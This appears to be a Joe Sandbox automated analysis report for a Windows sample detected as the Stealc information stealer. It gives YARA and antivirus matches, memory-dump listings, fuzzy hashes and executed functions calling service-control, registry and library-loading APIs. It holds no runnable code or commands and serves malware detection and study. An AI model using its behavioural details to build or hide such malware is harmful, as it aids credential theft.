Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1740081879.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1780569454.0000000000AD1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00DC68CB Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

s, xrefs: 00DC68EB

Memory Dump Source

Source File: 00000000.00000003.1501493873.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DC2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_dc2000_ABnDy7rLFS.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: 100d037e6b79feea0826ec741f9e37fce81f0175e937e2125b1bdc88dc7a7fd4
Instruction ID: f9add8f91b0835b01aac38db3b4026fd7376cee67ef0384f7a5e941f5d586e37
Opcode Fuzzy Hash: 100d037e6b79feea0826ec741f9e37fce81f0175e937e2125b1bdc88dc7a7fd4
Instruction Fuzzy Hash: BA910F6140EBC55FE7238B748CA4A96BFB4AE1729071E81CBD1C1CF4B3E159991AC336

Function 00DC5BC9 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1501493873.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DC2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_dc2000_ABnDy7rLFS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f490494331811eaafc96da7996a57de2d34c08586c129c2aa896a5df8449f4e
Instruction ID: 36462527bad02b9bde0b133315388f087dde25800384f8b06b544b15ab6bcb01
Opcode Fuzzy Hash: 8f490494331811eaafc96da7996a57de2d34c08586c129c2aa896a5df8449f4e
Instruction Fuzzy Hash: ED71116100EBC15FD7239B749CA5A96BFB4AE0369470E05CBD0C1CF0A7D219AC5AD736

Function 00DC377F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1501493873.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DC2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_dc2000_ABnDy7rLFS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction ID: e9f795e7f00ed2203fa4aa49430a24700a8421a9cd742d88e405e3590421b356
Opcode Fuzzy Hash: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction Fuzzy Hash: 112103611092D18FC306CF38D494A817FA1FF8B71639E40DCD8C18F527C2A56542C752

Analysis Process: HIX4V53EFUK0JCGHMC1S24CIQ.exePID: 1760, Parent PID: 4608COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	37.5%
Signature Coverage:	0%
Total number of Nodes:	32
Total number of Limit Nodes:	1

Executed Functions

Function 04EA15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04EA18C8

Memory Dump Source

Source File: 00000003.00000002.1832454837.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ea0000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: f6d3740a421db6dec1a91860a57709f33ed285a62af757206ca8cc740ca3c394
Instruction ID: 922f234f6b54d4657797bbd27f3d22a6fb1ceab86e86663ecc1d6b061b61d5a5
Opcode Fuzzy Hash: f6d3740a421db6dec1a91860a57709f33ed285a62af757206ca8cc740ca3c394
Instruction Fuzzy Hash: E2C16C71D006599FEB10CFA8C8457AEFBF2FF45314F049629E855EB284D774A8A1CB82

Function 00233D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmp, Offset: 00090000, based on PE: true

Associated: 00000003.00000002.1828756157.0000000000090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828809303.0000000000096000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828832949.000000000009A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828857077.00000000000A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828879563.00000000000A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828902268.00000000000A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829009846.0000000000200000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829034723.0000000000202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829063340.000000000021B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829085557.000000000021C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.000000000021F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829163515.000000000023C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829187432.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829210161.000000000023E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829232697.0000000000242000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829257475.0000000000257000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829277976.0000000000258000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829300708.000000000025F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829348863.0000000000278000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829370591.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829391810.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829412691.000000000027D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829436629.0000000000289000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829460386.000000000028D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829480791.000000000028E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829503197.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829523712.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829544857.000000000029E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829571919.00000000002A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829595534.00000000002A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829621508.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829643644.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: e710b49fe7f43448531566c5c3eee065d53f01fd1074a75b89b9dcdad37c72ef
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: A5E092B290424A8FCB41CE39C80838AB7A5DB14310F140669F14CD7991F7788D60CB94

Function 0022B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0022E183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0022E1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 0022E201

Memory Dump Source

Source File: 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmp, Offset: 00090000, based on PE: true

Associated: 00000003.00000002.1828756157.0000000000090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828809303.0000000000096000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828832949.000000000009A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828857077.00000000000A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828879563.00000000000A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828902268.00000000000A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829009846.0000000000200000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829034723.0000000000202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829063340.000000000021B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829085557.000000000021C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.000000000021F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829163515.000000000023C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829187432.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829210161.000000000023E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829232697.0000000000242000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829257475.0000000000257000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829277976.0000000000258000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829300708.000000000025F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829348863.0000000000278000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829370591.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829391810.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829412691.000000000027D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829436629.0000000000289000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829460386.000000000028D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829480791.000000000028E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829503197.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829523712.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829544857.000000000029E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829571919.00000000002A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829595534.00000000002A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829621508.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829643644.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 111f254a0dc446192f375d1b931345d35a59dffe77ea966c978a081607d2da65
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: C031597141421EAFEF11DFA0D848BEE3BA9FF11310F014629ED4286941E3B65DB4DB4A

Function 04EA15C4 Relevance: 1.8, APIs: 1, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04EA18C8

Memory Dump Source

Source File: 00000003.00000002.1832454837.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ea0000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 51b0b195ca37ca724e156ae2d743e4a7061720a0ffd97344668a7fa1a4e2d817
Instruction ID: 362af777178e1e55287c888e2d9fe9e6992dd091335a653e9f2bda528a59da91
Opcode Fuzzy Hash: 51b0b195ca37ca724e156ae2d743e4a7061720a0ffd97344668a7fa1a4e2d817
Instruction Fuzzy Hash: 0BC16B71D006599FEB10CFA8C8457ADFBF2FF45318F049629E855EB284D774A8A1CB82

Function 0021DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0021DF99

Memory Dump Source

Source File: 00000003.00000002.1829085557.000000000021C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00090000, based on PE: true

Associated: 00000003.00000002.1828756157.0000000000090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828809303.0000000000096000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828832949.000000000009A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828857077.00000000000A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828879563.00000000000A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828902268.00000000000A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829009846.0000000000200000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829034723.0000000000202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829063340.000000000021B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.000000000021F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829163515.000000000023C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829187432.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829210161.000000000023E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829232697.0000000000242000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829257475.0000000000257000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829277976.0000000000258000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829300708.000000000025F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829348863.0000000000278000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829370591.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829391810.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829412691.000000000027D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829436629.0000000000289000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829460386.000000000028D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829480791.000000000028E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829503197.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829523712.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829544857.000000000029E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829571919.00000000002A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829595534.00000000002A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829621508.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829643644.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 8d8ed24614455864ec2469e29f52ae4e0d10a0c31480b75a70b01f9028dd2e1d
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: 1A3106B290C700DFE355AF29D88167AFBE5EF98320F16882DD6C583614E67488948B57

Function 0021DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0021DE68

Memory Dump Source

Source File: 00000003.00000002.1829085557.000000000021C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00090000, based on PE: true

Associated: 00000003.00000002.1828756157.0000000000090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828809303.0000000000096000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828832949.000000000009A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828857077.00000000000A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828879563.00000000000A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1828902268.00000000000A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829009846.0000000000200000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829034723.0000000000202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829063340.000000000021B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.000000000021F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829163515.000000000023C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829187432.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829210161.000000000023E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829232697.0000000000242000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829257475.0000000000257000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829277976.0000000000258000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829300708.000000000025F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829324207.0000000000269000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829348863.0000000000278000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829370591.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829391810.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829412691.000000000027D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829436629.0000000000289000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829460386.000000000028D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829480791.000000000028E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829503197.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829523712.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829544857.000000000029E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829571919.00000000002A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829595534.00000000002A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829621508.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829643644.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829668208.00000000002D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829690883.00000000002D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829717979.00000000002F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829753148.00000000002F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829789756.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829817401.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829853857.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829875776.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.0000000000331000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829899798.000000000033A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829945788.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1829969503.000000000034A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_90000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: d6cf647a3edd5d56bb8e6da7bc5821b35ac801d57a78abc0ca0ce585bf28e1fd
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: 4C3126B251C200AFD305BF19D885A6EFBF9EF98721F06882DE6C483610D6755494CBA7

Function 04EA0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04EA0DCD

Memory Dump Source

Source File: 00000003.00000002.1832454837.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ea0000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: c6551a42c608e2f016f5652490785326a8dd1796891e1ac832112e263dba59df
Instruction ID: ad86877faa85ae5aa1600fc5668cb42ad5d4fa7ba586e32a4e606430bbad9838
Opcode Fuzzy Hash: c6551a42c608e2f016f5652490785326a8dd1796891e1ac832112e263dba59df
Instruction Fuzzy Hash: 962147B6C00208DFDB50CF99D885BDEFBF4EF88320F14811AE808AB244D734A554CBA5

Function 04EA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04EA0DCD

Memory Dump Source

Source File: 00000003.00000002.1832454837.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ea0000_HIX4V53EFUK0JCGHMC1S24CIQ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: c80a00dc85c45354fd18ca2a47685b8f1fe8771d234a6f31c4a252059a30fd38
Instruction ID: 89b0c323429839bd945e8369570968e8813257712aa87a905c7fc0bf01b69574
Opcode Fuzzy Hash: c80a00dc85c45354fd18ca2a47685b8f1fe8771d234a6f31c4a252059a30fd38
Instruction Fuzzy Hash: 9C2124B6C012199FDB50CFA9D884BDEFBF4EF88310F14815AD808AB244D774A554CBA4

